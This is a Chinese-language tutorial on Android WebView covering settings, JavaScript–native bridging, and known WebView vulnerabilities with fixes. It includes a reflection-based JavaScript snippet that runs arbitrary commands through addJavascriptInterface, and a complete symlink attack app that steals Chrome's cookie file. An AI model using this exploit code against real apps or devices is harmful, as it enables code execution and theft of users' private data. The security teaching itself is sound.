002 WebView详解

WebView 详细介绍

我们来看看 Google 官网关于 WebView 的介绍:

A View that displays web pages. This class is the basis upon which you can roll your own web browser
 or simply display some online content within your Activity. It uses the WebKit rendering engine 
 to display web pages and includes methods to navigate forward and backward through a history, 
 zoom in and out, perform text searches and more.

可以看到 WebView 是一个显示网页的控件,并且可以简单的显示一些在线的内容,并且基于 WebKit 内核,在 Android4.4(API Level 19) 引入了一个基于 Chromium 的新版本 WebView ,这让我们的 WebView 能支持 HTML5 和 CSS3 以及 Javascript,有一点需要注意的是由于 WebView 的升级,对于我们的程序也带来了一些影响,如果我们的 targetSdkVersion 设置的是 18 或者更低, single and narrow column 和 default zoom levels 不再支持。Android4.4 之后有一个特别方便的地方是可以通过 setWebContentDebuggingEnabled() 方法让我们的程序可以进行远程桌面调试。

WebView 加载页面

WebView 有四个用来加载页面的方法:

  • loadUrl (String url)
  • loadUrl (String url, Map additionalHttpHeaders)
  • loadData(String data, String mimeType, String encoding)
  • loadDataWithBaseURL(String baseUrl, String data, String mimeType, String encoding, String historyUrl)

使用起来较为简单,loadData 方法会有一些坑,在下面的内容会介绍到。

WebView 常见设置

使用 WebView 的时候,一般都会对其进行一些设置,我们来看看常见的设置:

WebSettings webSettings = webView.getSettings();
//设置了这个属性后我们才能在 WebView 里与我们的 Js 代码进行交互,对于 WebApp 是非常重要的,默认是 false,
//因此我们需要设置为 true,这个本身会有漏洞,具体的下面我会讲到
webSettings.setJavaScriptEnabled(true);

//设置 JS 是否可以打开 WebView 新窗口
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

//WebView 是否支持多窗口,如果设置为 true,需要重写 
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函数,默认为 false
webSettings.setSupportMultipleWindows(true);

//这个属性用来设置 WebView 是否能够加载图片资源,需要注意的是,这个方法会控制所有图片,包括那些使用 data URI 协议嵌入
//的图片。使用 setBlockNetworkImage(boolean) 方法来控制仅仅加载使用网络 URI 协议的图片。需要提到的一点是如果这
//个设置从 false 变为 true 之后,所有被内容引用的正在显示的 WebView 图片资源都会自动加载,该标识默认值为 true。
webSettings.setLoadsImagesAutomatically(false);
//标识是否加载网络上的图片(使用 http 或者 https 域名的资源),需要注意的是如果 getLoadsImagesAutomatically() 
//不返回 true,这个标识将没有作用。这个标识和上面的标识会互相影响。
webSettings.setBlockNetworkImage(true);

//显示WebView提供的缩放控件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);

//设置是否启动 WebView API,默认值为 false
webSettings.setDatabaseEnabled(true);

//打开 WebView 的 storage 功能,这样 JS 的 localStorage,sessionStorage 对象才可以使用
webSettings.setDomStorageEnabled(true);

//打开 WebView 的 LBS 功能,这样 JS 的 geolocation 对象才可以使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");

//设置是否打开 WebView 表单数据的保存功能
webSettings.setSaveFormData(true);

//设置 WebView 的默认 userAgent 字符串
webSettings.setUserAgentString("");

//设置是否 WebView 支持 “viewport” 的 HTML meta tag,这个标识是用来屏幕自适应的,当这个标识设置为 false 时,
//页面布局的宽度被一直设置为 CSS 中控制的 WebView 的宽度;如果设置为 true 并且页面含有 viewport meta tag,那么
//被这个 tag 声明的宽度将会被使用,如果页面没有这个 tag 或者没有提供一个宽度,那么一个宽型 viewport 将会被使用。
webSettings.setUseWideViewPort(false);

//设置 WebView 的字体,可以通过这个函数,改变 WebView 的字体,默认字体为 "sans-serif"
webSettings.setStandardFontFamily("");
//设置 WebView 字体的大小,默认大小为 16
webSettings.setDefaultFontSize(20);
//设置 WebView 支持的最小字体大小,默认为 8
webSettings.setMinimumFontSize(12);

//设置页面是否支持缩放
webSettings.setSupportZoom(true);
//设置文本的缩放倍数,默认为 100
webSettings.setTextZoom(2);

然后还有最常用的 WebViewClient 和 WebChromeClient,WebViewClient主要辅助WebView执行处理各种响应请求事件的,比如:

  • onLoadResource
  • onPageStart
  • onPageFinish
  • onReceiveError
  • onReceivedHttpAuthRequest
  • shouldOverrideUrlLoading

WebChromeClient 主要辅助 WebView 处理J avaScript 的对话框、网站 Logo、网站 title、load 进度等处理:

  • onCloseWindow(关闭WebView)
  • onCreateWindow
  • onJsAlert
  • onJsPrompt
  • onJsConfirm
  • onProgressChanged
  • onReceivedIcon
  • onReceivedTitle
  • onShowCustomView

WebView 只是用来处理一些 html 的页面内容,只用 WebViewClient 就行了,如果需要更丰富的处理效果,比如 JS、进度条等,就要用到 WebChromeClient,我们接下来为了处理在特定版本之下的 js 漏洞问题,就需要用到 WebChromeClient。
  接着还有 WebView 的几种缓存模式:

  • LOAD_CACHE_ONLY

  • LOAD_DEFAULT

  • LOAD_CACHE_NORMAL

  • LOAD_NO_CACHE

  • LOAD_CACHE_ELSE_NETWORK

www.baidu.com 的 cache-control 为 no-cache,在模式 LOAD_DEFAULT 下,无论如何都会从网络上取数据,如果没有网络,就会出现错误页面;在 LOAD_CACHE_ELSE_NETWORK 模式下,无论是否有网,只要本地有缓存,都会加载缓存。本地没有缓存时才从网络上获取,这个和 Http 缓存一致,我不在过多介绍,如果你想自定义缓存策略和时间,可以尝试下,volley 就是使用了 http 定义的缓存时间。
  清空缓存和清空历史记录,CacheManager 来处理 webview 缓存相关:mWebView.clearCache(true);;清空历史记录mWebview.clearHistory();,这个方法要在 onPageFinished() 的方法之后调用。

WebView 与 native 的交互

使用 Hybrid 开发的 APP 基本都需要 Native 和 web 页面的 JS 进行交互,下面介绍一下交互的方式。

js 调用 native

如何让 web 页面调用 native 的代码呢,有三种方式:

第一种方式:通过 addJavascriptInterface 方法进行添加对象映射
  这种是使用最多的方式了,首先第一步我们需要设置一个属性:

mWebView.getSettings().setJavaScriptEnabled(true);

这个函数会有一个警告,因为在特定的版本之下会有非常危险的漏洞,我们下面将会着重介绍到,设置完这个属性之后,Native 需要定义一个类:

public class JSObject {
    private Context mContext;
    public JSObject(Context context) {
        mContext = context;
    }

    @JavascriptInterface
    public String showToast(String text) {
        Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
        return "success";
    }
}
...
//特定版本下会存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");

需要注意的是在 API17 版本之后,需要在被调用的地方加上 @addJavascriptInterface 约束注解,因为不加上注解的方法是没有办法被调用的,JS 代码也很简单:

function showToast(){
    var result = myObj.showToast("我是来自web的Toast");
}

可以看到,这种方式的好处在于使用简单明了,本地和 JS 的约定也很简单,就是对象名称和方法名称约定好即可,缺点就是下面要提到的漏洞问题。

第二种方式:利用 WebViewClient 接口回调方法拦截 url

这种方式其实实现也很简单,使用的频次也很高,上面我们介绍到了 WebViewClient ,其中有个回调接口 shouldOverrideUrlLoading (WebView view, String url) ,我们就是利用这个拦截 url,然后解析这个 url 的协议,如果发现是我们预先约定好的协议就开始解析参数,执行相应的逻辑,我们先来看看这个函数的介绍:

Give the host application a chance to take over the control when a new url is about to be loaded in 
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager 
to choose the proper handler for the url. If WebViewClient is provided, return true means the host 
application handles the url, while return false means the current WebView handles the url. This 
method is not called for requests using the POST "method".

注意这个方法在 API24 版本已经废弃了,需要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request) 替代,使用方法很类似,我们这里就使用 shouldOverrideUrlLoading (WebView view, String url) 方法来介绍一下:

public boolean shouldOverrideUrlLoading(WebView view, String url) {
    //假定传入进来的 url = "js://openActivity?arg1=111&arg2=222",代表需要打开本地页面,并且带入相应的参数
    Uri uri = Uri.parse(url);
    String scheme = uri.getScheme();
    //如果 scheme 为 js,代表为预先约定的 js 协议
    if (scheme.equals("js")) {
          //如果 authority 为 openActivity,代表 web 需要打开一个本地的页面
        if (uri.getAuthority().equals("openActivity")) {
              //解析 web 页面带过来的相关参数
            HashMap params = new HashMap<>();
            Set collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
        }
        //代表应用内部处理完成
        return true;
    }
    return super.shouldOverrideUrlLoading(view, url);
}

代码很简单,这个方法可以拦截 WebView 中加载 url 的过程,得到对应的 url,我们就可以通过这个方法,与网页约定好一个协议,如果匹配,执行相应操作,我们看一下 JS 的代码:

function openActivity(){
    document.location = "js://openActivity?arg1=111&arg2=222";
}

这个代码执行之后,就会触发本地的 shouldOverrideUrlLoading 方法,然后进行参数解析,调用指定方法。这个方式不会存在第一种提到的漏洞问题,但是它也有一个很繁琐的地方是,如果 web 端想要得到方法的返回值,只能通过 WebView 的 loadUrl 方法去执行 JS 方法把返回值传递回去,相关的代码如下:

//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");
//javascript
function returnResult(result){
    alert("result is" + result);
}

所以说第二种方式在返回值方面还是很繁琐的,但是在不需要返回值的情况下,比如打开 Native 页面,还是很合适的,制定好相应的协议,就能够让 web 端具有打开所有本地页面的能力了。

第三种方式:利用 WebChromeClient 回调接口的三个方法拦截消息

这个方法的原理和第二种方式原理一样,都是拦截相关接口,只是拦截的接口不一样:

@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
    return super.onJsAlert(view, url, message, result);
}

@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
    return super.onJsConfirm(view, url, message, result);
}

@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
    //假定传入进来的 message = "js://openActivity?arg1=111&arg2=222",代表需要打开本地页面,并且带入相应的参数
    Uri uri = Uri.parse(message);
    String scheme = uri.getScheme();
    if (scheme.equals("js")) {
        if (uri.getAuthority().equals("openActivity")) {
            HashMap params = new HashMap<>();
            Set collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
            //代表应用内部处理完成
            result.confirm("success");
        }
        return true;
    }
    return super.onJsPrompt(view, url, message, defaultValue, result);
}

和 WebViewClient 一样,这次添加的是 WebChromeClient 接口,可以拦截 JS 中的几个提示方法,也就是几种样式的对话框,在 JS 中有三个常用的对话框方法:

  • onJsAlert 方法是弹出警告框,一般情况下在 Android 中为 Toast,在文本里面加入\n就可以换行;
  • onJsConfirm 弹出确认框,会返回布尔值,通过这个值可以判断点击时确认还是取消,true表示点击了确认,false表示点击了取消;
  • onJsPrompt 弹出输入框,点击确认返回输入框中的值,点击取消返回 null。

但是这三种对话框都是可以本地拦截到的,所以可以从这里去做一些更改,拦截这些方法,得到他们的内容,进行解析,比如如果是 JS 的协议,则说明为内部协议,进行下一步解析然后进行相关的操作即可,prompt 方法调用如下所示:

function clickprompt(){
    var result=prompt("js://openActivity?arg1=111&arg2=222");
    alert("open activity " + result);
}

这里需要注意的是 prompt 里面的内容是通过 message 传递过来的,并不是第二个参数的 url,返回值是通过 JsPromptResult 对象传递。为什么要拦截 onJsPrompt 方法,而不是拦截其他的两个方法,这个从某种意义上来说都是可行的,但是如果需要返回值给 web 端的话就不行了,因为 onJsAlert 是不能返回值的,而 onJsConfirm 只能够返回确定或者取消两个值,只有 onJsPrompt 方法是可以返回字符串类型的值,操作最全面方便。

以上三种方案的总结和对比

以上三种方案都是可行的,在这里总结一下

  • 第一种方式:

  • 第二种方式:

  • 第三种方式:

native 调用 js

第一种方式
  native 调用 js 的方法上面已经介绍到了,方法为:

//java
mWebView.loadUrl("javascript:show(" + result + ")");
//javascript

需要注意的是名字一定要对应上,要不然是调用不成功的,而且还有一点是 JS 的调用一定要在 onPageFinished 函数回调之后才能调用,要不然也是会失败的。
  第二种方式
  如果现在有需求,我们要得到一个 Native 调用 Web 的回调怎么办,Google 在 Android4.4 为我们新增加了一个新方法,这个方法比 loadUrl 方法更加方便简洁,而且比 loadUrl 效率更高,因为 loadUrl 的执行会造成页面刷新一次,这个方法不会,因为这个方法是在 4.4 版本才引入的,所以我们使用的时候需要添加版本的判断:

final int version = Build.VERSION.SDK_INT;
if (version < 18) {
    mWebView.loadUrl(jsStr);
} else {
    mWebView.evaluateJavascript(jsStr, new ValueCallback() {
        @Override
        public void onReceiveValue(String value) {
            //此处为 js 返回的结果
        }
    });
}

两种方式的对比
  一般最常使用的就是第一种方法,但是第一种方法获取返回的值比较麻烦,而第二种方法由于是在 4.4 版本引入的,所以局限性比较大。

WebView 常见漏洞

WebView 的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞,知会一下我~~

WebView 任意代码执行漏洞

已知的 WebView 任意代码执行漏洞有 4 个,较早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口会引起远程代码执行漏洞。接着是 CVE-2013-4710,针对某些特定机型会存在 addJavascriptInterface API 引起的远程代码执行漏洞。之后是 CVE-2014-1939 爆出 WebView 中内置导出的 “searchBoxJavaBridge_” Java Object 可能被利用,实现远程任意代码。再后来是 CVE-2014-7224,类似于 CVE-2014-1939 ,WebView 内置导出 “accessibility” 和 “accessibilityTraversal” 两个 Java Object 接口,可被利用实现远程任意代码执行。

一般情况下,WebView 使用 Javascript 脚本的代码如下所示:

WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);

CVE-2012-6636CVE-2013-4710

Android 系统为了方便 APP 中 Java 代码和网页中的 Javascript 脚本交互,在 WebView 控件中实现了 addJavascriptInterface 接口,如上面的代码所示,我们来看一下这个方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, 
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version 
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
 The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called 
 only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection 
 to access an injected object's public fields. Use of this method in a WebView containing untrusted 
 content could allow an attacker to manipulate the host application in unintended ways, executing Java 
 code with the permissions of the host application. Use extreme care when using this method in a WebView 
 which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore 
required to maintain thread safety.The Java object's fields are not accessible.
For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are 
enumerable from JavaScript.

可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用这个方法是不安全的,网页中的JS脚本可以利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会导致很多 Public 的函数及 getClass 函数都可以在JS中被访问,结合 Java 的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行,首先第一步 WebView 添加 Javascript 对象,并且添加一些权限,比如想要获取 SD 卡上面的信息就需要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中可以遍历 window 对象,找到存在 getClass 方法的对象,再通过反射的机制,得到 Runtime 对象,然后就可以调用静态方法来执行一些命令,比如访问文件的命令;第三步就是从执行命令后返回的输入流中得到字符串,比如执行完访问文件的命令之后,就可以得到文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:

function execute(cmdArgs)  
{  
    for (var obj in window) {  
        if ("getClass" in window[obj]) {  
            alert(obj);  
            return  window[obj].getClass().forName("java.lang.Runtime")  
                 .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
        }  
    }  
}

所以当一些 APP 通过扫描二维码打开一个外部网页的时候,就可以执行这段 js 代码,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中浏览器 APP 成为重灾区,但截至目前仍有很多 APP 中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外一些小厂商的 APP 开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用 addJavascriptInterface 接口,明目张胆踩雷。

出于安全考虑,Google 在 API17 版本中就规定能够被调用的函数必须以 @JavascriptInterface 进行注解,理论上如果 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响,所以危害性到目前为止依旧不小。关于所有 Android 机型的占比,可以看看 Google 的

截止 2017/1/9 日,可以看到 android5.0 之下的手机依旧不少,需要重视。

漏洞的解决

但是这个漏洞也是有解决方案的,上面的很多地方也都提到了这个漏洞,那么这个漏洞怎么去解决呢?这就需要用到 onJsPrompt 这个方法了,这里先给出解决这个漏洞的具体步骤,在下面的源码部分有修复这个漏洞的详细代码:

  • 继承 WebView ,重写 addJavascriptInterface 方法,然后在内部自己维护一个对象映射关系的 Map,当调用 addJavascriptInterface 方法,将需要添加的 JS 接口放入这个 Map 中;
  • 每次当 WebView 加载页面的时候加载一段本地的 JS 代码:
javascript:(function JsAddJavascriptInterface_(){
    if(typeof(window.XXX_js_interface_name)!='undefined'){
            console.log('window.XXX_js_interface_name is exist!!');
        }else{
           window.XXX_js_interface_name={
                   XXX:function(arg0,arg1){
                     return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
                 },
            };
        }
    })()

这段 JS 代码定义了注入的格式,其中的 XXX 为注入对象的方法名字,终端和 web 端只要按照定义的格式去互相调用即可,如果这个对象有多个方法,则会注册多个 window.XXX_js_interface_name 块;

  • 然后在 prompt 中返回我们约定的字符串,当然这个字符串也可以自己重新定义,它包含了特定的标识符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,参数,对象名等;* 当 JS 调用 XXX 方法的时候,就会调用到终端 Native 层的 OnJsPrompt 方法中,我们再解析出方法名,参数,对象名等,解析出来之后进行相应的处理,同时返回值也可以通过 prompt 返回回去;* window.XXX_js_interface_name 代表在 window 上声明了一个对象,声明的方式是:方法名:function(参数1,参数2)。还有一个问题是什么时候加载这段 JS 呢,在 WebView 正常加载 URL 的时候去加载它,但是会发现当 WebView 跳转到下一个页面时,之前加载的 JS 可能就已经无效了,需要再次加载,所以通常需要在一下几个方法中加载 JS,这几个方法分别是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。
      通过这几步,就可以简单的修复漏洞问题,但是还需要注意几个问题,需要过滤掉 Object 类的方法,由于通过反射的形式来得到指定对象的方法,所以基类的方法也可以得到,最顶层的基类就是 Object,为了不把 getClass 等方法注入到 JS 中,我们需要把 Object 的共有方法过滤掉,需要过滤的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,�“toString”,“wait”,具体的代码实现可以看看下面的源码。

CVE-2014-1939

在 2014 年发现在 Android4.4 以下的系统中,webkit 中默认内置了 “searchBoxJavaBridge”,代码位于 “java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁,所以就算没有通过 addJavascriptInterface 加入任何的对象,系统也会加入一个 searchBoxJavaBridge 对象,解决办法就是通过 removeJavascriptInterface 方法将对象删除。

CVE-2014-7224

在 2014 年,研究人员 Daoyuan Wu 和 Rocky Chang 发现,当系统辅助功能服务被开启时,在 Android4.4 以下的系统中,由系统提供的 WebView 组件都默认导出 ”accessibility” 和 ”accessibilityTraversal” 这两个接口,代码位于 “android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁,同样的需要通过 removeJavascriptInterface 方法将这两个对象删除。

WebView 密码明文存储漏洞

WebView 默认开启密码保存功能 mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险,所以需要通过 WebSettings.setSavePassword(false) 关闭密码保存提醒功能。

WebView 域控制不严格漏洞

要了解 WebView 中 file 协议的安全性,我们这里用一个简单的例子来演示一下,这个 APP 中有一个页面叫做 WebViewActivity :

public class WebViewActivity extends Activity {
    private WebView webView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview);
        webView = (WebView) findViewById(R.id.webView);
        //webView.getSettings().setJavaScriptEnabled(true);                   (0)
        //webView.getSettings().setAllowFileAccess(false);                    (1)
        //webView.getSettings().setAllowFileAccessFromFileURLs(true);         (2)
        //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);    (3)
        Intent i = getIntent();
        String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
        webView.loadUrl(url);
    }
 }

将该 WebViewActivity 设置为 exported="true",当其他应用启动此 Activity 时, intent 中的 data 直接被当作 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),通过其他 APP 使用显式 ComponentName 或者其他类似方式就可以很轻松的启动该 WebViewActivity ,我们知道因为 Android 中的 sandbox,Android 中的各应用是相互隔离的,在一般情况下 A 应用是不能访问 B 应用的文件的,但不正确的使用 WebView 可能会打破这种隔离,从而带来应用数据泄露的威胁,即 A 应用可以通过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而可以获取 B 应用的内部私有文件,下面我们着重分析这几个 API 对 WebView 安全性的影响。

setAllowFileAccess

Enables or disables file access within WebView. File access is enabled by default. Note that this 
enables or disables file system access only. Assets and resources are still accessible using 
file:///android_asset and file:///android_res.

通过这个 API 可以设置是否允许 WebView 使用 File 协议,Android 中默认 setAllowFileAccess(true),所以默认值是允许,在 File 域下,能够执行任意的 JavaScript 代码,同源策略跨域访问则能够对私有目录文件进行访问,APP 嵌入的 WebView 未对 file:/// 形式的 URL 做限制,所以使用 file 域加载的 js 能够使用同源策略跨域访问导致隐私信息泄露,针对 IM 类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是 cookie 信息泄露。如果不允许使用 file 协议,则不会存在下面将要讲到的各种跨源的安全威胁,但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件。禁用 file 协议后,让 WebViewActivity 打开 attack.html 会得到如下图所示的输出,图中所示的文件是存在的,但 WebView 禁止加载此文件,移动版的 Chrome 默认禁止加载 file 协议的文件。那么怎么解决呢,不要着急,继续往下看。

setAllowFileAccessFromFileURLs

Sets whether JavaScript running in the context of a file scheme URL should be allowed to access 
content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, 
this setting should be disabled. Note that the value of this setting is ignored if the value of 
getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript 
access to file scheme resources. Other access to such resources, for example, from image HTML 
elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH 
and earlier devices, you should explicitly set this value to false.
The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level 
JELLY_BEAN and above.

通过此API可以设置是否允许通过 file url 加载的 Javascript 读取其他的本地文件,这个设置在 JELLY_BEAN(android 4.1) 以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。当 AllowFileAccessFromFileURLs 设置为 true 时,对应上面的 attack.html 代码为:


,此时通过这段代码就可以成功读取 /etc/hosts 的内容,最显著的例子就是 360 手机浏览器的早期 4.8 版本,由于未对 file 域做安全限制,恶意 APP 调用 360 浏览器加载本地的攻击页面(比如恶意 APP 释放到 sd 卡上的一个 html)后,就可以获取 360 手机浏览器下的所有私有数据,包括 webviewCookiesChromium.db 下的 Cookie 内容,但是如果设置为 false 时,上述脚本执行会导致如下错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件:

I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin 
requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html

setAllowUniversalAccessFromFileURLs

通过此 API 可以设置是否允许通过 file url 加载的 Javascript 可以访问其他的源,包括其他的文件和 http,https 等其他的源。这个设置在 JELLY_BEAN 以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。如果此设置是允许,则 setAllowFileAccessFromFileURLs 不起做用,此时修改 attack.html 的代码:


当 AllowFileAccessFromFileURLs 为 true 时,上述 javascript 可以成功读取 www.so.com 的内容,但设置为 false 时,上述脚本执行会导致如下错误,表示浏览器禁止从 file url 中的 javascript 访问其他源的资源:

I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
load http://www.so.com/. Origin null is not allowed by
Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html

以上漏洞的初步解决方案

通过以上的介绍,初步的方案是使用下面的代码来杜绝:

setAllowFileAccess(true);                               //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);

这样就可以让 html 页面加载本地的 javascript,同时杜绝加载的 js 访问本地的文件或者读取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默认为 false 了么,其实不然,我们继续往下看其他漏洞。

使用符号链接跨源

为了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都应该设置为禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中这两项设置默认也是禁止的,但是即使把这两项都设置为 false,通过 file URL 加载的 javascript 仍然有方法访问其他的本地文件,通过符号链接攻击可以达到这一目的,前提是允许 file URL 执行 javascript。这一攻击能奏效的原因是无论怎么限制 file 协议的同源检查,其 javascript 都应该能访问当前的文件,通过 javascript 的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件,具体攻击步骤见 Chromium bug 144866,下面也贴出了代码和详解。因为 Chrome 最新版本默认禁用 file 协议,所以这一漏洞在最新版的 Chrome 中并不存在,Google 也并没有修复它,但是大量使用 WebView 的应用和浏览器,都有可能受到此漏洞的影响,通过利用此漏洞,无特殊权限的恶意 APP 可以盗取浏览器的任意私有文件,包括但不限于 Cookie、保存的密码、收藏夹和历史记录,并可以将所盗取的文件上传到攻击者的服务器。下图为通过 file URL 读取某手机浏览器 Cookie 的截图:
截图将 Cookie alert 出来了,实际情况可以上传到服务器,攻击的详细代码如下所示:

public class MainActivity extends AppCompatActivity {
    public final static String MY_PKG = "com.example.safewebview";
    public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
    public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
    public final static String TARGET_PKG = "com.android.chrome";
    public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
    public final static String HTML =
            "" +
                    "Wait a few seconds." +
                    "" +
                    "";

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        doit();
    }

    public void doit() {
        try {
            // Create a malicious HTML
            cmdexec("mkdir " + MY_TMP_DIR);
            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
            cmdexec("chmod -R 777 " + MY_TMP_DIR);

            Thread.sleep(1000);

            // Force Chrome to load the malicious HTML
            invokeChrome("file://" + HTML_PATH);

            Thread.sleep(4000);

            // Replace the HTML with a symlink to Chrome's Cookie file
            cmdexec("rm " + HTML_PATH);
            cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
        } catch (Exception e) {
        }
    }

    public void invokeChrome(String url) {
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
        startActivity(intent);
    }

    public void cmdexec(String cmd) {
        try {
            String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
            Runtime.getRuntime().exec(tmp);
        } catch (Exception e) {
        }
    }
}

这就是使用符号链接跨源获取私有文件的代码,应该不难读懂,首先把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,并且修改该目录的权限,修改完成之后休眠 1s,让文件操作完成,完成之后通过系统的 Chrome 应用去打开这个 xx.html 文件,然后等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,并且使用 ln -s 命令为 Chrome 的 Cookie 文件创建软连接,注意,在这条命令执行之前 xx.html 是不存在的,执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上,于是就可以通过链接来访问 Chrome 的 Cookie 了。

setJavaScriptEnabled

通过此 API 可以设置是否允许 WebView 使用 JavaScript,默认是不允许,但很多应用,包括移动浏览器为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置允许 WebView 执行 JavaScript,而又不会对不同的协议区别对待,比较安全的实现是如果加载的 url 是 http 或 https 协议,则启用 JavaScript,如果是其它危险协议,比如是 file 协议,则禁用 JavaScript。如果是 file 协议,禁用 javascript 可以很大程度上减小跨源漏洞对 WebView 的威胁,但是此时禁用 JavaScript 的执行并不能完全杜绝跨源文件泄露。例如,有的应用实现了下载功能,对于加载不了的页面,会自动下载到 sd 卡中,由于 sd 卡中的文件所有应用都可以访问,于是可以通过构造一个 file URL 指向被攻击应用的私有文件,然后用此 URL 启动被攻击应用的 WebActivity,这样由于该 WebActivity 无法加载该文件,就会将该文件下载到 sd 卡下面,然后就可以从 sd 卡上读取这个文件了,当然这种应用比较少,这个也算是应用自身无意产生的一个漏洞吧。

以上漏洞的解决方案

针对 WebView 域控制不严格漏洞的安全建议如下:

  1. 对于不需要使用 file 协议的应用,禁用 file 协议;
  2. 对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript。

所以两种解决办法,第一种类似 Chrome,直接禁止 file 协议:

setAllowFileAccess(false);                              //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);

第二种是根据不同情况不同处理(无法避免应用对于无法加载的页面下载到 sd 卡上这个漏洞):

setAllowFileAccess(true);                             //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
} else {
    setJavaScriptEnabled(true);
}

开发中遇见的坑

这里记录一下开发中遇到的一些坑和解决办法:

loadData() 方法

